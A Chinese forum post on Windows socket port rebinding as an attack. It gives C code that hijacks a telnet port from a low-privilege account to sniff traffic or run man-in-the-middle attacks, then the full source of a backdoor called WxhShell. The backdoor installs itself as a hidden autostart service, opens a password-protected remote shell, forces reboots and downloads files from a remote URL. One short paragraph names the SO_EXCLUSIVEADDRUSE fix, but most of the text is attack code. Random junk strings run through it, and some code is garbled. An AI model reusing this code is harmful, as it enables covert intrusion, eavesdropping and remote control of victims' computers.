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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6PS #Zydb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o@o6<OP^  
S[b)`Wi D  
  saddr.sin_family = AF_INET; )m-l&UK  
>t/P^fr_F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); DiB~Ovh|  
Ch1+YZG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lD8&*5tDmP  
L29,Y=n@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Vs1j9P|G  
[\ M=w7  
  这意味着什么?意味着可以进行如下的攻击: 2>.2H  
OZF^w[ `w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zs@#.OEH  
j;tT SNF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P}%0YJ$6  
J {gqm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1GnT^u y/  
4DVkycM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u#8J`%g  
OAc*W<Q0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1$q>\  
u7=jtB   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LvJ')HG  
D<rO:Er?*a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VWlOMqL995  
U8Pnt|0M  
  #include R;P>_ei(LK  
  #include <"uT=]wZ=  
  #include l_lm)'ag  
  #include    sOJH$G3O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zFjG20w%3g  
  int main() 8?GS:+  
  { #rZk&q  
  WORD wVersionRequested; Tr1#=&N0  
  DWORD ret; fq){?hk~O  
  WSADATA wsaData; OXC7 m  
  BOOL val;  W t&tu2  
  SOCKADDR_IN saddr; BX|+"AeF  
  SOCKADDR_IN scaddr; JM#jg-z,~  
  int err; d9XX^nY.  
  SOCKET s; p_$03q>oQ  
  SOCKET sc; X517PT8O  
  int caddsize; :\@WY  
  HANDLE mt; f:k3j}&  
  DWORD tid;   5#zwd oQ  
  wVersionRequested = MAKEWORD( 2, 2 ); g1Q^x/  
  err = WSAStartup( wVersionRequested, &wsaData ); G4Zs(:a  
  if ( err != 0 ) { Ve,_;<F]S  
  printf("error!WSAStartup failed!\n"); 1NO<K`  
  return -1; ExDH@Lb  
  } J}7iXTh  
  saddr.sin_family = AF_INET; \o^M,yI  
   eH2.,wY1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %d+:0.+`n  
_/"m0/,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?-,v0#  
  saddr.sin_port = htons(23); k;p:P ?s5Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H1uNlPT  
  { _wWh7'u~G  
  printf("error!socket failed!\n"); 6&=xu|M<x=  
  return -1; ]@op  
  } (9h{7<wD`  
  val = TRUE; l1~>{:mq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4WnB{9 i`I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 30Nya$$A=  
  { slEsSR'J]  
  printf("error!setsockopt failed!\n"); ]6{G;f$  
  return -1; 29g("(}TK  
  } I"E5XVC);  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NDhHU#Q9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WigC'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,TD@s$2x  
#F5O>9hA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^5biD9>M  
  { o/9(+AA>  
  ret=GetLastError();  Hw34wQX  
  printf("error!bind failed!\n"); $4`RJ{ZJw]  
  return -1; _pQ9q&i4  
  } *-bR~  
  listen(s,2); OGNjn9av  
  while(1) Vtm5&-  
  { E9 QA<w  
  caddsize = sizeof(scaddr); \%9,< -~[  
  //接受连接请求 @b2{'#9]}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -OZRSjmY  
  if(sc!=INVALID_SOCKET) 5gg_c?Vh/  
  { @`U78)]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %@L(A1"#D  
  if(mt==NULL) lhAwTOn`Q  
  { ]*pALT6  
  printf("Thread Creat Failed!\n"); 65RWaz;|  
  break; ~130"WQ;  
  } CD(2A,u)/  
  } FqiC zP4  
  CloseHandle(mt); w}<BO> z  
  } 7t\W{y  
  closesocket(s); h\KQ{-Bl  
  WSACleanup(); 5tR<aIf  
  return 0; 6a PZW  
  }   3|RfX  
  DWORD WINAPI ClientThread(LPVOID lpParam) )Y@  
  { .eW}@1+[;  
  SOCKET ss = (SOCKET)lpParam; ecA[  
  SOCKET sc; @* L^Jgn  
  unsigned char buf[4096]; G*e/Ft.wf8  
  SOCKADDR_IN saddr; )cB00*/  
  long num; wo84V!"A  
  DWORD val; _ Onsfv  
  DWORD ret; w :Fes  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qt+vmi+~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YMnG-'^Z  
  saddr.sin_family = AF_INET; r4jW=?|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7ZS 5u+o  
  saddr.sin_port = htons(23); M)6_Ta l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,T_HE3K  
  { V4f ~#Tp  
  printf("error!socket failed!\n"); wQ[~7 ,o  
  return -1; b mZRCvW>A  
  } 5bGV91  
  val = 100; {Q^P<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]*U\ gm%  
  { DM{ 7x77  
  ret = GetLastError(); lu_ y9o^  
  return -1; D0=D8P}H:  
  } #"%oz^~\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `N}<lg(0#  
  { e{Pgz0sO Q  
  ret = GetLastError(); L.lmbxn  
  return -1; V;ZyAp  
  } ~m y\{q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !Pt|Hk dr  
  { #ldNWwvRGj  
  printf("error!socket connect failed!\n"); 4(2}O-~  
  closesocket(sc); rE[*i q,#  
  closesocket(ss); p+#J;.  
  return -1; O9oVx4=  
  } +"Ek? )?  
  while(1) Yt!UIl\<  
  { Jg3}U j2By  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ua\g*Cxh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2pH2s\r<UJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3Z NYR'  
  num = recv(ss,buf,4096,0); !NK8_p|X  
  if(num>0) EUmQn8  
  send(sc,buf,num,0); .Ff;St  
  else if(num==0) 7*d}6\ %  
  break; ho ?.\Jq  
  num = recv(sc,buf,4096,0); %Vrl"4^}t  
  if(num>0) lh3%2Dq$  
  send(ss,buf,num,0); ^%|{>Mz;c  
  else if(num==0) #Qc[W +%  
  break; f8_5.vlw  
  } YMad]_XOP  
  closesocket(ss); Q<P],}?:  
  closesocket(sc); ]3xnq<  
  return 0 ; <^|8\<J  
  } I,QJ/sI  
@~'c(+<3  
8Z:NT_Ss  
========================================================== ()v[@"J  
{%^q8l4j  
下边附上一个代码,,WXhSHELL gCz^JM  
~HI|t2C  
========================================================== I<z /Y?  
v-Ggf0RF  
#include "stdafx.h" \06fP4?  
=G;whd}]  
#include <stdio.h> 1\{0z3P  
#include <string.h> ' wvZnb  
#include <windows.h> C0z E<fl  
#include <winsock2.h> <a2t"rc  
#include <winsvc.h> D$;mur'  
#include <urlmon.h> j\f;zb?F  
jY$Bns&.w  
#pragma comment (lib, "Ws2_32.lib") }4ijLX>b  
#pragma comment (lib, "urlmon.lib") E {4/$}  
}&d]Uv/4  
#define MAX_USER   100 // 最大客户端连接数 M' "S:  
#define BUF_SOCK   200 // sock buffer ueZ`+g~gg  
#define KEY_BUFF   255 // 输入 buffer 8#2PJHl;  
Xl;u  
#define REBOOT     0   // 重启 i>_V?OT#5  
#define SHUTDOWN   1   // 关机 +*a:\b" fx  
z(i B$;M  
#define DEF_PORT   5000 // 监听端口 \evK.i*KfA  
nORm7sa9  
#define REG_LEN     16   // 注册表键长度 XB UO  
#define SVC_LEN     80   // NT服务名长度 M/:kh,3  
c_x6FoE;L  
// 从dll定义API F'*y2FC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tf Q(f?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 25t2tj@S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sKB])mf]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |L.QIr,jCC  
`Q<hL{AH  
// wxhshell配置信息 <<6i6b  
struct WSCFG { 5'?K(Jdmp  
  int ws_port;         // 监听端口 {jcrTjmxe  
  char ws_passstr[REG_LEN]; // 口令 [mJc c  
  int ws_autoins;       // 安装标记, 1=yes 0=no aN}yS=(Ff  
  char ws_regname[REG_LEN]; // 注册表键名 L qMH]W  
  char ws_svcname[REG_LEN]; // 服务名 ]MfT5#(6h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LtJ$ZE^GB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G?&0Z++  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jAfUz7@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tmDI2Z%7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NjMbQ M4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l131^48U  
5Lo{\7%  
}; )/HSt%>  
mNc (  
// default Wxhshell configuration :@KWp{ D7  
struct WSCFG wscfg={DEF_PORT, ",(-AU!a)h  
    "xuhuanlingzhe", VzA~w` $d  
    1, :-xp'_\L  
    "Wxhshell", hdQ[=PH)  
    "Wxhshell", 5.0BaVwi  
            "WxhShell Service", =PP]LDlJs  
    "Wrsky Windows CmdShell Service", d2'9C6t  
    "Please Input Your Password: ", ~#h@.yW^JN  
  1, 79n,bb5  
  "http://www.wrsky.com/wxhshell.exe", R,x\VX!|  
  "Wxhshell.exe" 36@)a5  
    }; `S2YBKz,1  
m%m/#\J E  
// 消息定义模块 |t1D8){!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |+mhYq|`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q 6{2@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '=G4R{  
char *msg_ws_ext="\n\rExit."; 6P;IKOv^  
char *msg_ws_end="\n\rQuit."; wWko9h=|mQ  
char *msg_ws_boot="\n\rReboot..."; 3cBuqQ  
char *msg_ws_poff="\n\rShutdown..."; AH;0=<n  
char *msg_ws_down="\n\rSave to "; -8HIsRh  
l"*qj#FD  
char *msg_ws_err="\n\rErr!"; ;VSHXU'H  
char *msg_ws_ok="\n\rOK!"; z|=l^u6uS  
k]u0US9/  
char ExeFile[MAX_PATH]; Q[;!z1ur  
int nUser = 0; T-xcd  
HANDLE handles[MAX_USER]; pR4{}=g,  
int OsIsNt; Yn+/yz5k_  
X<Rh-1$8F  
SERVICE_STATUS       serviceStatus; 4};iL)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  4C/  
1u:OzyJy  
// 函数声明 # 5v 2`|)  
int Install(void); >(ku*  
int Uninstall(void); sl}bNzT#  
int DownloadFile(char *sURL, SOCKET wsh); Gn<s >3E  
int Boot(int flag); yd]W',c  
void HideProc(void); _*0!6?c  
int GetOsVer(void); mhH[jO)  
int Wxhshell(SOCKET wsl); F2:+i#lE  
void TalkWithClient(void *cs); ;El"dqH   
int CmdShell(SOCKET sock); M}!7/8HUC  
int StartFromService(void); Wy.2*+5FX0  
int StartWxhshell(LPSTR lpCmdLine); Sir7TQ4B  
.M!6${N);  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (~?P7RnU%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @`G_6 <.`  
-PbGNF  
// 数据结构和表定义 afqLTWU S  
SERVICE_TABLE_ENTRY DispatchTable[] = 1 y$Bz?4  
{ =SA@3)kHH  
{wscfg.ws_svcname, NTServiceMain}, bLUn>ch  
{NULL, NULL} pFX Do4eH  
}; 9w[7X"#n  
B'"C?d<7  
// 自我安装 S) Sv4Qm  
int Install(void) .t.H(Q9  
{ %a&Yt  
  char svExeFile[MAX_PATH]; , ?WTX  
  HKEY key; 1@" eeR  
  strcpy(svExeFile,ExeFile); J [J,  
w 6+X{  
// 如果是win9x系统,修改注册表设为自启动 \CM/KrCR  
if(!OsIsNt) {  &~:b &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EjV,&7o)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iIA5ylf{E  
  RegCloseKey(key); dms R>Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !R-M:|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fLA!oeq{&}  
  RegCloseKey(key); #WwQ^6ESc  
  return 0; 1Y$ gt  
    } 4ZrX= e,  
  } hC4##pAa  
} kIWQ _2  
else { 8G`fSac`  
}BlVLf%C  
// 如果是NT以上系统,安装为系统服务 9eo$Duws  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KFCrJ )  
if (schSCManager!=0) YQ}Rg5 o  
{ ogbLs)&+a  
  SC_HANDLE schService = CreateService y-m<&{q  
  ( 6]^ShOX_Z  
  schSCManager, L (XGD  
  wscfg.ws_svcname, ^8Tq0>n?  
  wscfg.ws_svcdisp, 1`)ie%=  
  SERVICE_ALL_ACCESS, ~Os"dAgZFY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lZ.x@hDS  
  SERVICE_AUTO_START, V%g$LrLVe  
  SERVICE_ERROR_NORMAL, 6Db1mvSe  
  svExeFile, Bwj^9J/ob  
  NULL, } 1^/[?  
  NULL, fdc ?`4  
  NULL, 'e^,#L_!o  
  NULL, -"YQo  
  NULL |'9%vtbM  
  ); "toyfZq@  
  if (schService!=0) f]L`^WU  
  { /5 B{szf  
  CloseServiceHandle(schService); >p [|U`>{  
  CloseServiceHandle(schSCManager); zPEx;lO$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jku_0Q0*?  
  strcat(svExeFile,wscfg.ws_svcname); 4G"T{A`O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oXRmnt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -lV]((I&  
  RegCloseKey(key); G7yCGT)vQ  
  return 0; lyNa(3  
    } Eo 5p-  
  } f=]+\0MQ  
  CloseServiceHandle(schSCManager); Gl}[1<~o  
} Ox7v*[x'  
} "aIiW VQ  
qL.1N~$2  
return 1; VC5LxA0{  
} _p<W  
FivgOa  
// 自我卸载 `9E:V=  
int Uninstall(void) @GDe{GG+  
{ h[b5"Uqj  
  HKEY key; @]P#]%^D2  
ukHSHsR  
if(!OsIsNt) { %K8Ei/p\t]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DXu#07\  
  RegDeleteValue(key,wscfg.ws_regname); {R%v4#nk  
  RegCloseKey(key); _ +[;NBz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dP63bV  
  RegDeleteValue(key,wscfg.ws_regname); NBEcx>pma  
  RegCloseKey(key); 1wP#?p)c  
  return 0; h}r*   
  } r CU f,)  
} k,wr6>'Vt  
} GjN/8>/  
else { @[h)M3DFd  
Wj.f$U 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >a7OE=K  
if (schSCManager!=0) 8dgI&t  
{ /?uA{/8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ss6mN;&D  
  if (schService!=0) ;U=IbK*  
  { Bd jo3eX  
  if(DeleteService(schService)!=0) { *@/1]W  
  CloseServiceHandle(schService); 1Q"w)Ta  
  CloseServiceHandle(schSCManager); R#gt~]x6k  
  return 0; L;N)l2m.\  
  } Q%)da)0:c  
  CloseServiceHandle(schService); #$7d1bx  
  } Xu\FcQ{  
  CloseServiceHandle(schSCManager); soh)IfZ  
} @yiAi:v@  
} X3&-kU  
{U@&hE -  
return 1; cdiDfiE  
} l)tK/1 W  
hr3RC+ y  
// 从指定url下载文件  2f>G   
int DownloadFile(char *sURL, SOCKET wsh) "[M,PI!B  
{ GcN[bH(@  
  HRESULT hr; Pu/X_D-#Gi  
char seps[]= "/"; HwfBbWHr'  
char *token; 1bjhEO W  
char *file; "P.H  
char myURL[MAX_PATH]; Z Ear~  
char myFILE[MAX_PATH]; {=mf/3.r  
K"4m)B~@Y  
strcpy(myURL,sURL); QJiU"1  
  token=strtok(myURL,seps); Y3@\uM`2#  
  while(token!=NULL) 0'8_:|5  
  { y"zgpqJ  
    file=token; K;kaWV  
  token=strtok(NULL,seps); Hl-!rP.?0  
  } ?^I\e{),c  
#-vuY#gs  
GetCurrentDirectory(MAX_PATH,myFILE); XgRrJ.  
strcat(myFILE, "\\"); !bs{/?  
strcat(myFILE, file); V&nTf100  
  send(wsh,myFILE,strlen(myFILE),0); .m%/JquMFM  
send(wsh,"...",3,0); E57:ap)/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M~% ~y`D^  
  if(hr==S_OK) "<['W(  
return 0; }]O* yFR{j  
else OXu*w l(z  
return 1; pT3p!/pl3  
;Z>u]uK4+  
} .axJ'*~W  
7> ~70  
// 系统电源模块 <[iw1>  
int Boot(int flag) *Iy5 V7`KU  
{ 5?6U@??]  
  HANDLE hToken; D<=x<.  
  TOKEN_PRIVILEGES tkp; R>Q&Ax  
Ja1[vO"YgP  
  if(OsIsNt) { ;k1 \-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'dJ#NT25  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {Yq"%n'0  
    tkp.PrivilegeCount = 1; EJC{!06L'/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )}ygzKEa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); } U <T>0  
if(flag==REBOOT) { uWm,mGd9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G bW1Lq&"  
  return 0; t~_j+k0K#  
} `zf,$67>1  
else { +,oEcCi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wxC&KrRF  
  return 0; (4:&tm/;  
} ^G :}%4  
  } j}P xq  
  else { )v\zaz  
if(flag==REBOOT) { M"XILNV-~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DJ&ni`  
  return 0; 9Q\CJ9  
} 4wLN#dpeEy  
else { iYbp^iVg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NMaZ+g!t(  
  return 0; x<&2`=  
} Std?p{ i  
} FXLY*eRk  
PSCzeR  
return 1; 6(#fGH&[  
} RP!!6A6:  
#fB&Hv #s7  
// win9x进程隐藏模块 GjVq"S  
void HideProc(void) 7kiZFHV  
{ ~H<oqk:O-  
qW~Z#Si  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >WYiOXYv  
  if ( hKernel != NULL ) 6t zUp/O  
  { 8bf_W3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Myj 5qh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5(9SIj^O  
    FreeLibrary(hKernel); 8{0=tOXx{  
  } FYwMmb ~3  
 Tt;h?  
return; l]g /rs  
} \\ZR~f!<  
Rgstk/1  
// 获取操作系统版本 TRLz>mQ  
int GetOsVer(void) 7(8i~}  
{ fEv`iXZG  
  OSVERSIONINFO winfo; hk5[ N=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pJg'$iR!/  
  GetVersionEx(&winfo); =1|^) 4M,x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V(gmC%6%l*  
  return 1; qu8!fFQjYL  
  else )Cas0~RM  
  return 0; c<k=8P   
} \@\r`=WgB  
ajM3Uwnr  
// 客户端句柄模块 a:q>7V|%$  
int Wxhshell(SOCKET wsl) :| s  
{ #'5C*RO  
  SOCKET wsh; 9+irf^D`O  
  struct sockaddr_in client; OBnf5*eJ  
  DWORD myID; %-nYK3  
X  jPPgI  
  while(nUser<MAX_USER) J\@ r ~x5G  
{ ,0hk)Vvr3  
  int nSize=sizeof(client); _DDknQP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c[IT?6J4  
  if(wsh==INVALID_SOCKET) return 1; `s )- lI  
|2L|Zp&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FR BW(vKE  
if(handles[nUser]==0)  v|K,  
  closesocket(wsh); !g`^<y!  
else 54lU~ "  
  nUser++; kT@m*Etr{  
  } DPWt=IFU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l1M %   
g)3HVAT  
  return 0; Vx Vpl@  
} (^{tu89ab  
'3i,^g0?t0  
// 关闭 socket =00c1v  
void CloseIt(SOCKET wsh) ^y,Ex;6o  
{ Za110oF  
closesocket(wsh); X[SdDYMY  
nUser--; >P<8E2}*  
ExitThread(0); S^8C\ E  
} VYR<x QA  
0I v(ioB=  
// 客户端请求句柄 hR4\:s+[  
void TalkWithClient(void *cs) .S_7R/2(?  
{ VxP cC+  
&g.do?  
  SOCKET wsh=(SOCKET)cs; cko^_V&x  
  char pwd[SVC_LEN]; wB(X(nr  
  char cmd[KEY_BUFF]; !&eKq?P{j  
char chr[1]; |&oTxx$S  
int i,j; M1mx{<]A  
{py"Ob_  
  while (nUser < MAX_USER) { '5)PYjMnH  
m{w'&\T  
if(wscfg.ws_passstr) { BNw};.lO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f 0|wN\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i8h^~d2"  
  //ZeroMemory(pwd,KEY_BUFF); [yhK4A  
      i=0; mEZHrr J  
  while(i<SVC_LEN) { Ueb&<tS  
c 98^~vR]]  
  // 设置超时 {V^|9j:\K  
  fd_set FdRead; G`e!WvC  
  struct timeval TimeOut; R<<U(.E  
  FD_ZERO(&FdRead); e0$.|+  
  FD_SET(wsh,&FdRead); 5r` x\  
  TimeOut.tv_sec=8; 6uTFgSqZ  
  TimeOut.tv_usec=0; mB5Sm|{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A"}Ib'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &}rmDx  
Z}AhDIw!G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rJM/.;Ag  
  pwd=chr[0]; b|DiU}  
  if(chr[0]==0xd || chr[0]==0xa) { v,L@nlD]  
  pwd=0; t?(fDWd|-  
  break; W; zzc1v  
  } ?u4t;  
  i++; 9*2Q'z}_  
    } =T-jG_.H  
Y-s6Z \  
  // 如果是非法用户,关闭 socket Yh["IhjR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2PC:F9dh\  
} nZX`y -AZ  
96d&vm~m1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1wg#4h43l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s/0bXM$^  
xFzaVjjP  
while(1) { q&kG>  
3^,p$D<T:,  
  ZeroMemory(cmd,KEY_BUFF); j0~ dJ#  
[y&uc  
      // 自动支持客户端 telnet标准   <dKHZ4  
  j=0; -y'tz,En.  
  while(j<KEY_BUFF) { w+Y_TJ%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '!"rE1e  
  cmd[j]=chr[0]; 2w;Cw~<=d  
  if(chr[0]==0xa || chr[0]==0xd) { H1d2WNr[  
  cmd[j]=0; *AG01# ZF  
  break; J(Fk@{!F.*  
  } C({r1l4[D  
  j++; hEA;5-m  
    } {rzvZ0-j}  
"H\R*\-0  
  // 下载文件 <64#J9T^  
  if(strstr(cmd,"http://")) { _&RGhA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fP/;t61Z  
  if(DownloadFile(cmd,wsh)) ;3\'}2^|l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8xt8kf*k  
  else wCEcMVT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n+1`y8dy  
  } )tx2lyY:  
  else { 9hei8L:  
Ov;q]Vn>  
    switch(cmd[0]) { ?P;=_~X  
  u)[i'ceQZ:  
  // 帮助 2Mu3] 2>  
  case '?': { ()ww9L2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T}jW,Ost  
    break; MP p    
  } |)OC1=As  
  // 安装 XzB3Xs?W2  
  case 'i': { ]zz%gZz  
    if(Install()) )Vo%}g?6!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ul{D)zm\D  
    else &],O\TAul  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >?jmeD3u  
    break; D^S"6v" z  
    } (@NW2  
  // 卸载 c1xX)cF  
  case 'r': { }Xb|Ur43  
    if(Uninstall()) Xb@dQRVX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +bk+0k9k5  
    else xD9ZL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7[1 VFc#tf  
    break; QN;GMX5&  
    } >@EwfM4[e  
  // 显示 wxhshell 所在路径 }_D{|! !!T  
  case 'p': { &MBm1T|Y  
    char svExeFile[MAX_PATH]; F$S/zh$)0  
    strcpy(svExeFile,"\n\r"); y]g5S-G  
      strcat(svExeFile,ExeFile); [W99}bi$  
        send(wsh,svExeFile,strlen(svExeFile),0); g,B@*2Uj  
    break; } x Kv N  
    } em2Tet  
  // 重启 SC--jhDZ  
  case 'b': { >#y1(\e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W~5gTiBZ]  
    if(Boot(REBOOT)) ab[V->>%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f\z9?Z(~  
    else { F(`Q62o@  
    closesocket(wsh); 65GC7 >[  
    ExitThread(0); G+t zp&G@  
    } SduUXHk  
    break; jGYl*EBx  
    } Ky*xAx:  
